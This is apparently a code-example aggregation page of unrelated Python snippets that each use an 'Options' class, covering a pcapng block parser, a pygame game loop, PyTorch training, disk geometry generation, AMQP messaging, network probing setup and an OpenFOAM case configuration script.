        self.block_total_length_last_int = struct.unpack(
            "%sI" % (self.section.sectionHeader.endianness),
            self.block_total_length_last_packed)[0]

        if self.block_total_length_last_int != self.block_total_length_first_int:
            Warning(
                "Total block lengths (first %d and last %d) do not match. File may be corrupt!"
                % (self.block_total_length_first_int,
                   self.block_total_length_last_int))

    def Write(self, out):
        out.write(self.block_total_length_first_packed)
        if self.records:
            self.records.Write(out)
        if self.options:
            self.options.Write(out)
        out.write(self.block_total_length_last_packed)

    def __repr__(self):
        ret = ""

        ret += "Block Type: 0x%08x (Name Resolution)\n" % (self.block_type_int)
        ret += "Block Total Length First: %d\n" % (
            self.block_total_length_first_int)
        ret += "Block Total Length Last: %d\n" % (
            self.block_total_length_last_int)
        if self.records:
            ret += "Records\n"
            ret += "\t%s\n" % (("%s" % self.records).replace("\n", "\n\t"))
        if self.options:
            ret += "Options\n"
            ret += "\t%s\n" % (("%s" % self.options).replace("\n", "\n\t"))

        return ret[:-1]
示例#32
0
class Game:

    def __init__(self, levelNameList):
        self.levelNameList = levelNameList
        self.currentLevelIndex = 0
        self.currentLevel = None
        self.currentMenu = None
        self.state = GameState.MAIN_MENU
        self.clock = pygame.time.Clock()
        self.init()
        self.loop()

    def init(self):
        size = (1400, 800)
        pygame.display.set_mode(size)
        self.screen = pygame.display.get_surface()

    def loop(self):
        while True:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    sys.exit()
            needStateUpdate = True
            while needStateUpdate:
                needStateUpdate = False
                if self.state == GameState.MAIN_MENU:
                    self.noLevel()
                    if type(self.currentMenu) != Menu:
                        self.noMenu()
                        self.loadMainMenu()
                if self.state == GameState.DEATH_SCREEN:
                    self.noLevel()
                    if type(self.currentMenu) != DeathScreen:
                        self.noMenu()
                        self.loadDeathScreen()
                if self.state == GameState.OPTIONS:
                    self.noLevel()
                    if type(self.currentMenu) != Options:
                        self.noMenu()
                        self.loadOptions()
                if self.state == GameState.GAME:
                    self.noMenu()
                    if type(self.currentLevel) != Level:
                        if not self.loadLevel():
                            self.state = GameState.MAIN_MENU
                            needStateUpdate = True
                if self.state == GameState.RESTART:
                    self.noLevel()
                    self.noMenu()
                    self.state = GameState.DEATH_SCREEN
                    needStateUpdate = True
                if self.state == GameState.NEXT_LEVEL:
                    self.noLevel()
                    self.noMenu()
                    self.currentLevelIndex += 1
                    self.state = GameState.MAIN_MENU
                    needStateUpdate = True

            dt = self.update()
            self.draw()

    def noLevel(self):
        if self.currentLevel:
            self.currentLevel.remove()
            self.currentLevel = None

    def noMenu(self):
        if self.currentMenu:
            self.currentMenu = None

    def getCurrentLevelName(self):
        if self.currentLevelIndex >= len(self.levelNameList):
            return "no level :D"
        return "level " + str(self.currentLevelIndex + 1)

    def loadMainMenu(self):
        self.currentMenu = Menu(self.getCurrentLevelName())

    def loadDeathScreen(self):
        self.currentMenu = DeathScreen(self.getCurrentLevelName())

    def loadOptions(self):
        self.currentMenu = Options()

    def loadLevel(self):
        if self.currentLevelIndex >= len(self.levelNameList):
            return False
        try:
            levelName = self.levelNameList[self.currentLevelIndex]
            self.currentLevel = Level.loadFile(levelName)
            return True
        except Exception as e:
            print("No level on index " + str(self.currentLevelIndex), e)
        return False

    def draw(self):
        self.screen.fill((0, 0, 0))
        if self.currentLevel:
            self.currentLevel.draw()
        if self.currentMenu:
            self.currentMenu.draw()
        pygame.display.flip()

    def update(self):
        dt = self.clock.get_time() / 1000.0 # Zeit seit dem letzten tick (Frame) in Sek.
        self.clock.tick(60) # Kontrolliert die Aktuallisierungen pro Minute (FPS)
        if self.currentLevel:
            self.currentLevel.update(self, dt)
        if self.currentMenu:
            self.currentMenu.update(self)
        return dt
示例#33
0
def main():
    # init the args
    global best_pred, errlist_train, errlist_val
    args = Options().parse()
    args.cuda = not args.no_cuda and torch.cuda.is_available()
    torch.manual_seed(args.seed)
    # plot
    if args.plot:
        print('=>Enabling matplotlib for display:')
        plot.ion()
        plot.show()
    if args.cuda:
        torch.cuda.manual_seed(args.seed)
    # init dataloader
    dataset = importlib.import_module('dataset.' + args.dataset)
    Dataloader = dataset.Dataloader
    train_loader, test_loader = Dataloader(args).getloader()
    # init the model
    models = importlib.import_module('model.' + args.model)
    model = models.Net(args)
    print(model)
    # criterion and optimizer
    criterion = nn.CrossEntropyLoss()
    optimizer = torch.optim.SGD(model.parameters(),
                                lr=args.lr,
                                momentum=args.momentum,
                                weight_decay=args.weight_decay)
    if args.cuda:
        model.cuda()
        # Please use CUDA_VISIBLE_DEVICES to control the number of gpus
        model = torch.nn.DataParallel(model)
    # check point
    if args.resume is not None:
        if os.path.isfile(args.resume):
            print("=> loading checkpoint '{}'".format(args.resume))
            checkpoint = torch.load(args.resume)
            args.start_epoch = checkpoint['epoch'] + 1
            best_pred = checkpoint['best_pred']
            errlist_train = checkpoint['errlist_train']
            errlist_val = checkpoint['errlist_val']
            model.load_state_dict(checkpoint['state_dict'])
            optimizer.load_state_dict(checkpoint['optimizer'])
            print("=> loaded checkpoint '{}' (epoch {})".format(
                args.resume, checkpoint['epoch']))
        else:
            raise RuntimeError ("=> no resume checkpoint found at '{}'".\
                format(args.resume))
    scheduler = LR_Scheduler(args.lr_scheduler, args.lr, args.epochs,
                             len(train_loader), args.lr_step)

    def train(epoch):
        model.train()
        global best_pred, errlist_train
        train_loss, correct, total = 0, 0, 0
        tbar = tqdm(train_loader, desc='\r')
        for batch_idx, (data, target) in enumerate(tbar):
            scheduler(optimizer, batch_idx, epoch, best_pred)
            if args.cuda:
                data, target = data.cuda(), target.cuda()
            data, target = Variable(data), Variable(target)
            optimizer.zero_grad()
            output = model(data)
            loss = criterion(output, target)
            loss.backward()
            optimizer.step()

            train_loss += loss.data.item()
            pred = output.data.max(1)[1]
            correct += pred.eq(target.data).cpu().sum()
            total += target.size(0)
            err = 100.0 - 100.0 * correct / total
            tbar.set_description('\rLoss: %.3f | Err: %.3f%% (%d/%d)' % \
                (train_loss/(batch_idx+1), err, total-correct, total))

        errlist_train += [err]

    def test(epoch):
        model.eval()
        global best_pred, errlist_train, errlist_val
        test_loss, correct, total = 0, 0, 0
        is_best = False
        tbar = tqdm(test_loader, desc='\r')
        for batch_idx, (data, target) in enumerate(tbar):
            if args.cuda:
                data, target = data.cuda(), target.cuda()
            data, target = Variable(data), Variable(target)
            with torch.no_grad():
                output = model(data)
                test_loss += criterion(output, target).data.item()
                # get the index of the max log-probability
                pred = output.data.max(1)[1]
                correct += pred.eq(target.data).cpu().sum().item()
                total += target.size(0)

            err = 100.0 - 100.0 * correct / total
            tbar.set_description('Loss: %.3f | Err: %.3f%% (%d/%d)'% \
                (test_loss/(batch_idx+1), err, total-correct, total))

        if args.eval:
            print('Error rate is %.3f' % err)
            return
        # save checkpoint
        errlist_val += [err]
        if err < best_pred:
            best_pred = err
            is_best = True
        save_checkpoint(
            {
                'epoch': epoch,
                'state_dict': model.state_dict(),
                'optimizer': optimizer.state_dict(),
                'best_pred': best_pred,
                'errlist_train': errlist_train,
                'errlist_val': errlist_val,
            },
            args=args,
            is_best=is_best)
        if args.plot:
            plot.clf()
            plot.xlabel('Epoches: ')
            plot.ylabel('Error Rate: %')
            plot.plot(errlist_train, label='train')
            plot.plot(errlist_val, label='val')
            plot.legend(loc='upper left')
            plot.draw()
            plot.pause(0.001)

    if args.eval:
        test(args.start_epoch)
        return

    for epoch in range(args.start_epoch, args.epochs + 1):
        train(epoch)
        test(epoch)

    # save train_val curve to a file
    if args.plot:
        plot.clf()
        plot.xlabel('Epoches: ')
        plot.ylabel('Error Rate: %')
        plot.plot(errlist_train, label='train')
        plot.plot(errlist_val, label='val')
        plot.savefig("runs/%s/%s/" % (args.dataset, args.checkname) +
                     'train_val.jpg')
示例#34
0
def mainTactoid(cubeSize=None, diskRadius=None, diskThickness=None):
    o = Options()
    cubeEdgeLength = o.getProperty('cubeEdgeLength')
    numberOfDisks = o.getProperty('numberOfDisks')
    polygonalDiskThickness = o.getProperty('polygonalDiskThickness')
    polygonalDiskRadius = o.getProperty('polygonalDiskRadius')
    numberOfDisks = o.getProperty('numberOfDisks')
    maxAttempts = o.getProperty('maxAttempts')
    E_m = o.getProperty('E_m')
    nu_m = o.getProperty('nu_m')
    E_f = o.getProperty('E_f')
    nu_f = o.getProperty('nu_f')
    fname = o.getProperty('fname')
    interlayerThickness = o.getProperty('tactoidInterlayerThickness')
    tactoidStackNumber = o.getProperty('tactoidStackNumber')

    disks = []
    attempt = 0
    while len(disks) / tactoidStackNumber < numberOfDisks:
        newDisks = []
        attempt += 1
        disk = DiskMadeOfDots(Point(0, 0, -polygonalDiskThickness / 2),
                              Point(0, 0, polygonalDiskThickness / 2),
                              polygonalDiskRadius)
        for stackI in range(0, int((tactoidStackNumber - 1) / 2)):
            z1 = (polygonalDiskThickness * (0.5 + stackI) +
                  interlayerThickness * (1 + stackI))
            z2 = (polygonalDiskThickness * (1.5 + stackI) +
                  interlayerThickness * (1 + stackI))
            diskUp = DiskMadeOfDots(Point(0, 0, z1),
                                    Point(0, 0, z2),
                                    polygonalDiskRadius)
            diskDown = DiskMadeOfDots(Point(0, 0, -z1),
                                      Point(0, 0, -z2),
                                      polygonalDiskRadius)
            newDisks.append(diskUp)
            newDisks.append(diskDown)
            pass
        newDisks.append(disk)
        alpha = random.random() * 2 * math.pi
        beta = random.random() * 2 * math.pi
        gamma = random.random() * 2 * math.pi
        x = random.random() * cubeEdgeLength
        y = random.random() * cubeEdgeLength
        z = random.random() * cubeEdgeLength
        c = math.cos(alpha)
        s = math.sin(alpha)
        Malpha = [[1, 0, 0],
                  [0, c, -s],
                  [0, s, c]]
        for disk in newDisks:
            disk.rotate(Malpha)
        c = math.cos(beta)
        s = math.sin(beta)
        Mbeta = [[c, 0, s],
                 [0, 1, 0],
                 [-s, 0, c]]
        for disk in newDisks:
            disk.rotate(Mbeta)
        c = math.cos(gamma)
        s = math.sin(gamma)
        Mgamma = [[c, -s, 0],
                  [s, c, 0],
                  [0, 0, 1]]
        for disk in newDisks:
            disk.rotate(Mgamma)
        for disk in newDisks:
            disk.translate(Vector(Point(0, 0, 0), Point(x, y, z)))
        flag = 0
        for oldDisk in disks:
            for disk in newDisks:
                if disksCross(oldDisk, disk):
                    flag = 1
                    break
        for disk in newDisks:
            if boxCross(disk):
                flag = 1
                break
        if flag == 0:
            for disk in newDisks:
                disks.append(disk)
        string = 'Try {0}, ready {1} of {2}'
        overall = int(len(disks) / tactoidStackNumber)
        print(string.format(attempt, overall, numberOfDisks))
        if attempt == maxAttempts:
            break
    matrixString = 'solid matrix = cell'
    f = open(fname, 'w')
    f.write('algebraic3d;\n')
    string = 'solid cell = orthobrick(0, 0, 0; {0}, {0}, {0});\n'
    f.write(string.format(cubeEdgeLength))
    #f.write('tlo cell -transparent;\n')
    for i, disk in enumerate(disks):
        matrixString += ' and not Disk' + str(i)
        randomnessX = 0
        randomnessY = 0
        randomnessZ = 0
        x = disk.mainAxe().x()
        y = disk.mainAxe().y()
        z = disk.mainAxe().z()
        l = polygonalDiskThickness
        cosThetaX = x / l
        cosThetaY = y / l
        cosThetaZ = z / l
        randomnessX += orderParameter(cosThetaX)
        randomnessY += orderParameter(cosThetaY)
        randomnessZ += orderParameter(cosThetaZ)
        disk.printToCSG(f, 'Disk' + str(i))
    f.write(matrixString + ';\n')
    f.write('tlo matrix -transparent -maxh=0.3;\n')
    print('Randomness along X axe: {}'.format(randomnessX / len(disks)))
    print('Randomness along Y axe: {}'.format(randomnessY / len(disks)))
    print('Randomness along Z axe: {}'.format(randomnessZ / len(disks)))
    diskVolume = math.pi * polygonalDiskRadius**2 * polygonalDiskThickness
    tactoidsNum = len(disks) / tactoidStackNumber
    interlayerVolume = math.pi * polygonalDiskRadius**2 * interlayerThickness
    diskVolume += tactoidsNum * (tactoidStackNumber - 1) * interlayerVolume
    allVolume = cubeEdgeLength**3
    part = len(disks) * diskVolume / allVolume
    print('Volume part of fillers is {}'.format(part))
示例#35
0
 def loadDeathScreen(self):
     self.currentMenu = DeathScreen(self.getCurrentLevelName())
示例#36
0
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-#
# A quick way to add the weights to the root files for simple plotting  #
# later.                                                                #
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-#

from MyData import ReadData, Data
from SaveInfo import savedata
from Constants import *
from Options import Options
import numpy as np

opts = Options()

f_nugen = 'trees/NuGen_10634_Sep10_L3Applied.root'
f_corsika = 'trees/Corsika_11362_Sep10_L3Applied.root'
f_data = 'trees/Data_BS_Sep9_L3Applied.root'
f_corsikaLE = 'trees/Corsika_11499_Sep10_L3Applied_LECorsika.root'

# Load NuGen
print "Loading NuGen..."
dt_nugen = ReadData(f_nugen, m_sname_E2, opts.sigcut)

# Load Low Energy NuGen
print "Loading NuGen LE..."
dt_nugenLE = ReadData(f_nugen, m_sname_E2, "!" + opts.sigcut)

# Load Corsika and low enegy corsika
print "Loading Corsika..."
dt_corsika = ReadData(f_corsika, m_sname_corsika, "")
dt_corsikaLE = ReadData(f_corsikaLE, m_sname_corsikaLE, "")
示例#37
0
 def loadOptions(self):
     self.currentMenu = Options()
示例#38
0
            try:
                message = receiver.fetch(timeout=self.options.timeout)
                session.acknowledge(sync=False)

                print "-I- Response received with content: ", message.content
                self.message_counter = 1
            except Empty:
                print "-I- No response received for ", self.options.timeout, " seconds"

            session.sync(timeout=None)

            sender.close()
            receiver.close()
            session.close()
            connection.close()
        except MessagingError, m:
            print "-E- Caught exception: ", m
            raise m


if __name__ == "__main__":
    hostname = "ecag-fixml-simu1.deutsche-boerse.com"
    port = 10170
    accountName = "ABCFR_ABCFRALMMACC1"

    opts = Options(hostname, port, accountName)

    rr = Amqp10RequestResponse(opts)
    rr.run()
示例#39
0
import json
import os
import sys

#-- class imports --#
from Auth import Auth
from Options import Options


class App:
    def __init__(self):
        self.authObject = Auth()
        self.credentials = self.authObject.authenticate()

    def deleteCredentials(self):
        if not (self.authObject.SAVE_CREDENTIALS):
            if (os.path.exists('data/secrets.json')):
                os.remove('data/secrets.json')


if __name__ == "__main__":
    app = App()
    app.deleteCredentials()
    while True:
        try:
            optionsObject = Options(app.credentials['userName'],
                                    app.credentials['token'])
        except KeyboardInterrupt:
            print("bye")
            sys.exit()
示例#40
0
def get_options():
    """
    Retuns options for vtkAxis objects.
    """
    opt = Options()
    opt.add('num_ticks', 5, "The number of tick marks to place on the axis.", vtype=int)
    opt.add('lim', "The axis extents.", vtype=list)
    opt.add('font_color', [1, 1, 1], "The color of the axis, ticks, and labels.")
    opt.add('title', "The axis label.", vtype=str)
    opt.add('font_size', "The axis title and label font sizes, in points.", vtype=int)
    opt.add('title_font_size', "The axis title font size, in points.", vtype=int)
    opt.add('tick_font_size', "The axis tick label font size, in points.", vtype=int)
    opt.add('grid', True, "Show/hide the grid lines for this axis.")
    opt.add('grid_color', [0.25, 0.25, 0.25], "The color for the grid lines.")
    opt.add('precision', "The axis numeric precision.", vtype=int)
    opt.add('notation', "The type of notation, leave empty to let VTK decide", vtype=str,
            allow=['standard', 'scientific', 'fixed', 'printf'])
    opt.add('ticks_visible', True, "Control visibility of tickmarks on colorbar axis.")
    opt.add('axis_visible', True, "Control visibility of axis line on colorbar axis.")
    opt.add('labels_visible', True, "Control visibility of the numeric labels.")
    opt.add('axis_position', 'left', "Set the axis position (left, right, top, bottom)", vtype=str,
            allow=['left', 'right', 'top', 'bottom'])
    opt.add('axis_point1', [0, 0], 'Starting location of axis, in absolute viewport coordinates.')
    opt.add('axis_point2', [0, 0], 'Ending location of axis, in absolute viewport coordinates.')
    opt.add('axis_scale', 1, "The axis scaling factor.", vtype=float)
    opt.add('axis_factor', 0, "Offset the axis by adding a factor.", vtype=float)
    opt.add('axis_opacity', 1, "The vtkAxis opacity.", vtype=float)
    opt.add('zero_tol', 1e-10, "Tolerance for considering limits to be the same.")
    return opt
示例#41
0
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hr:t:", [
            "help", "cpp-heartbeat-dir=", "probing-rate=", "db-host=",
            "table=", "remote-probing", "remote-probing-host=",
            "remote-cpp-heartbeat-dir="
        ])

    except getopt.GetoptError as e:
        print(e)
        print(usage)
        sys.exit(2)

    n_rounds = 1
    starting_round = 1

    options = Options()

    options.probes_file_prefix = "probes_round_"
    options.replies_file_prefix = "replies_round_"
    options.pcap_file_prefix = "heartbeat-pfring-round-"
    # options.heartbeat_dir = "/work/kvermeulen/Heartbeat/"
    options.heartbeat_dir = "/root/Heartbeat/"
    options.probe_dir = "/slush/kvermeulen/Heartbeat/"
    if options.is_remote_probe:
        options.heartbeat_binary = options.probe_dir + "build/Heartbeat"
    else:
        options.heartbeat_binary = options.heartbeat_dir + "build/Heartbeat"
    options.process_binary = options.heartbeat_dir + "build/Reader"
    options.probing_rate = 100000
    options.db_host = "localhost"
    # options.db_host = "132.227.123.200"
示例#42
0
文件: setup.py 项目: zagl/chtrun
def setup():
    boundary = {}
    U = {'"[^XYZ]*"': {'type': 'fixedValue', 'value': 'uniform (0 0 0)'}}
    T = {
        '"[^F][^_][^XYZ]*"': {
            'type': 'zeroGradient',
            'value': '$internalField',
        },
        '"F.*"': {
            'type': 'compressible::turbulentTemperatureRadCoupledMixed',
            'Tnbr': 'T',
            'kappa': 'fluidThermo',
            'QrNbr': 'none',	
            'Qr': 'Qr',
            'kappaName': 'none',
            'value': '$internalField',
        }
    }
    p = {'"[^XYZ]*"': {'type': 'fixedFluxPressure', 'value': '$internalField'}}
                    
    G = {
            '"\w[^L].*"': {
                    'type': 'MarshakRadiation',
                    'T': 'T',
                    'emissivityMode': 'lookup',
                    'emissivity': 'uniform 1.0',
                    'value': 'uniform 0',
            },
            '"F.*"': {
                    'type': 'MarshakRadiation',
                    'T': 'T',
                    'emissivityMode': 'solidRadiation',
                    'value': 'uniform 0',
            },
    }
    IDefault = {
            '"\w[^L].*"': {
                    'type': 'greyDiffusiveRadiation',
                    'T': 'T',
                    'emissivityMode': 'lookup',
                    'emissivity': 'uniform 1.0',
                    'value': 'uniform 0',
            },
            '"F.*"': {
                    'type': 'greyDiffusiveRadiation',
                    'T': 'T',
                    'emissivityMode': 'solidRadiation',
                    'value': 'uniform 0',
            },
    }
    work = get_work()

    config = Config()

    solids = config.getSolids()
    fluids = config.getFluids()
    temperature = config.getTemperature()
    temperatureIn = config.getTemperatureIn()
    
    lowertemp = min([temperature,temperatureIn])

    path = os.path.join(work.constantDir(), "regionProperties")
    regionProperties = ParsedParameterFile(path)
    regionProperties["regions"][3] = solids
    regionProperties["regions"][1] = fluids
    regionProperties.writeFile()

    for solid in solids:
        fluidFields = ["rho", "mut", "alphat", "epsilon", "k",
                       "U", "p_rgh", "Qr", "G", "IDefault",
                       "rho.gz", "mut.gz", "alphat.gz", "epsilon.gz", "k.gz",
                       "U.gz", "p_rgh.gz", "Qr.gz", "G.gz", "IDefault.gz"]
        for field in fluidFields:
            path = os.path.join(work.initialDir(), solid, field)
            if os.path.exists(path):
                os.remove(path)

        path = os.path.join(work.constantDir(), solid,
                            "thermophysicalProperties")
        solidThermo = ParsedParameterFile(path)
        solidThermo["mixture"]["transport"]["kappa"] = config.getConductivity(solid)
        solidThermo.writeFile()

        path = os.path.join(work.constantDir(), solid,
                            "radiationProperties")

        rad = ParsedParameterFile(path)
        rad["constantAbsorptionEmissionCoeffs"]["emissivity"][2] = config.getEmissivity(solid)
        rad.writeFile()

        power = config.getPower(solid)
        options = Options(solid)
        options.addLowerTempLimit(lowertemp)
        
        if power != 0:
            options.addHeatSource(power)
        else:
            options.rmHeatSource()

        path = os.path.join(work.systemDir(), solid, "changeDictionaryDict")
        changeDict = ParsedParameterFile(path)
        changeDict['dictionaryReplacement']['T']['internalField'] = "uniform %.2f" % lowertemp
        changeDict.writeFile()
        myBasicRunner(["changeDictionary", "-region", solid], solid)
      
      

    v = config.getVelocity()
    g = config.getGravity()
    isTunnel = config.getIsTunnel()
    
    isFree = True
    for (direction, value) in zip(['X', 'Y', 'Z'], v):
        if value == 0:
            continue
        elif value < 0:
            vdir = ["max", "min"]
            d = "-%s" % direction
            isFree = False
            break
        elif value > 0:
            vdir = ["min", "max"]
            d = "+%s" % direction
            isFree = False
            break
            
    for (direction, value) in zip(['X', 'Y', 'Z'], g):
        if value == 0:
            continue
        elif value < 0:
            gdir = ["min", "max"]
            g = "-%s" % direction
            break
        elif value > 0:
            gdir = ["max", "min"]
            g = "+%s" % direction
            break
                        
    if isFree:
        U.update( 
            {
                '"%s.|%s[^%s]"' % (gdir[0], gdir[1], g[1]):
                {
                    'type': 'pressureInletOutletVelocity',
                    'value': 'uniform (0 0 0)',
                },
                '"%s%s"' % (gdir[1], g[1]):
                {
                    'type': 'inletOutlet',
                    'inletValue': 'uniform (0 0 0)',
                    'value': 'uniform (0 0 0)',
                }
            }
        )
        T.update( 
            {
                '"(min|max)."':
                {
                    'type': 'inletOutlet',
                    'inletValue': 'uniform %.2f' % temperature,
                    'value': 'uniform %.2f' % temperature,
                }  
            }
        )
        p.update( 
            {
                '"%s.|%s[^%s]"' % (gdir[0], gdir[1], g[1]):
                {
                    'type': 'totalPressure',
                    'p0': '$internalField',
                    'U': 'U',
                    'phi': 'phi',
                    'rho': 'rho',
                    'psi': 'none',
                    'gamma': '1',
                    'value': '$internalField'
                },
                '"%s%s"' % (gdir[1], g[1]):
                {
                    'type': 'fixedFluxPressure',
                    'value': '$internalField',
                }	
            }
        )
    elif isTunnel:
        boundary
        {
            '"(min|max)[^%s]"' % d[1]:
            {
                'type': 'wall'
            }
        }
        U.update( 
            {
                '"%s%s"' % (vdir[0], d[1]):
                {
                    'type': 'fixedValue',
                    'value': '$internalField'
                },
                '"%s%s"' % (vdir[1], d[1]):
                {
                    'type': 'inletOutlet',
                    'value': '$internalField',
                    'inletValue': 'uniform (0 0 0)',
                },
                '"(min|max)[^%s]"' % d[1]:
                {
                    'type': 'fixedValue',
                    'value': 'uniform (0 0 0)'
                },
            }
        )
        T.update( 
            {
                '"%s[^%s]|%s."' % (vdir[1], d[1], vdir[0]):
                {
                    'type': 'fixedValue',
                    'value': 'uniform %.2f' % temperatureIn,
                },
                '"%s%s"' % (vdir[1], d[1]):
                {
                    'type': 'inletOutlet',
                    'value': 'uniform %.2f' % temperature,
                    'inletValue': 'uniform %.2f' % temperature,
                }
            }
        )
        p.update( 
            {
                '"%s[^%s]|%s."' % (vdir[1], d[1], vdir[0]):
                {
                    'type': 'fixedValue',
                    'value': '$internalField'
                },
                '"%s%s"' % (vdir[1], d[1]):
                {
                    'type': 'fixedValue',
                    'value': '$internalField',
                }	
            }
        )
    else:
        if gdir[0] == vdir[1]:
            a = '"%s[^%s%s]|%s."' % (gdir[1], g[1], d[1], gdir[0])
        else:
            a = '"%s[^%s]|%s[^%s]"' % (gdir[1], g[1], gdir[0], d[1])
        
        U.update( 
            {
                '"%s%s"' % (vdir[0], d[1]):
                {
                    'type': 'fixedValue',
                    'value': '$internalField'
                },
                a:
                {
                    'type': 'pressureInletOutletVelocity',
                    'value': 'uniform (0 0 0)',
                },
                '"%s%s"' % (gdir[1], g[1]):
                {
                    'type': 'inletOutlet',
                    'inletValue': 'uniform (0 0 0)',
                    'value': 'uniform (0 0 0)',
                }
            }
        )
        T.update( 
            {
                '"%s%s"' % (vdir[0], d[1]):
                {
                    'type': 'fixedValue',
                    'value': 'uniform %.2f' % temperatureIn,
                },
                '"%s[^%s]|%s."' % (vdir[0], d[1], vdir[1]):
                {
                    'type': 'inletOutlet',
                    'value': 'uniform %.2f' % temperature,
                    'inletValue': 'uniform %.2f' % temperature,
                }
            }
        )
        p.update( 
            {
                a:
                {
                    'type': 'totalPressure',
                    'p0': '$internalField',
                    'U': 'U',
                    'phi': 'phi',
                    'rho': 'rho',
                    'psi': 'none',
                    'gamma': '1',
                    'value': '$internalField'
                },
                '"%s%s"' % (gdir[1], g[1]):
                {
                    'type': 'fixedFluxPressure',
                    'value': '$internalField',
                },
                '"%s%s"' % (vdir[0], d[1]):
                {
                    'type': 'fixedFluxPressure',
                    'value': '$internalField',
                }
            }
        )
        

       

    for fluid in fluids:
        options = Options(fluid)
        for fan in config.getFansInFluid(fluid):
            axis = config.getAxis(fan)
            rpm = config.getRPM(fan)
            options.addMRF(fan, axis, rpm)
            
        options.addLowerTempLimit(lowertemp)
        
        path = os.path.join(work.systemDir(), fluid, "changeDictionaryDict")
        changeDict = ParsedParameterFile(path)
        changeDict['dictionaryReplacement']['T']['internalField'] = "uniform %.2f" % lowertemp
        uBoundary = "uniform (%s)" % ' '.join([str(x) for x in v])
        changeDict['dictionaryReplacement']['U']['internalField'] = uBoundary
        changeDict['dictionaryReplacement']['boundary'] = boundary
        changeDict['dictionaryReplacement']['U']['boundaryField'] = U
        changeDict['dictionaryReplacement']['T']['boundaryField'] = T
        changeDict['dictionaryReplacement']['p_rgh']['boundaryField'] = p
        
        for baffle in config.getBafflesInFluid(fluid):
            G.update( 
                {
                    '"%s.*"' % baffle:
                    {
                        'type': 'MarshakRadiation',
                        'T': 'T',
                        'emissivityMode': 'lookup',
                        'emissivity': 'uniform %0.3f' % config.getEmissivity(baffle),
                        'value': 'uniform 0',
                    }
                }
            )
            changeDict['dictionaryReplacement']['G']['boundaryField'] = G
            
            IDefault.update( 
                {
                    '"%s.*"' % baffle:
                    {
                        'type': 'greyDiffusiveRadiation',
                        'T': 'T',
                        'emissivityMode': 'lookup',
                        'emissivity': 'uniform %0.3f' % config.getEmissivity(baffle),
                        'value': 'uniform 0',
                    }
                }
            )
            changeDict['dictionaryReplacement']['IDefault']['boundaryField'] = IDefault
      
        
        changeDict.writeFile()
        
        myBasicRunner(["changeDictionary", "-region", fluid], fluid)

        path = os.path.join(work.constantDir(), fluid, "g")
        gfile = ParsedParameterFile(path)
        gfile["value"] = "(%s)" % ' '.join([str(x) for x in config.getGravity()])
        gfile.writeFile()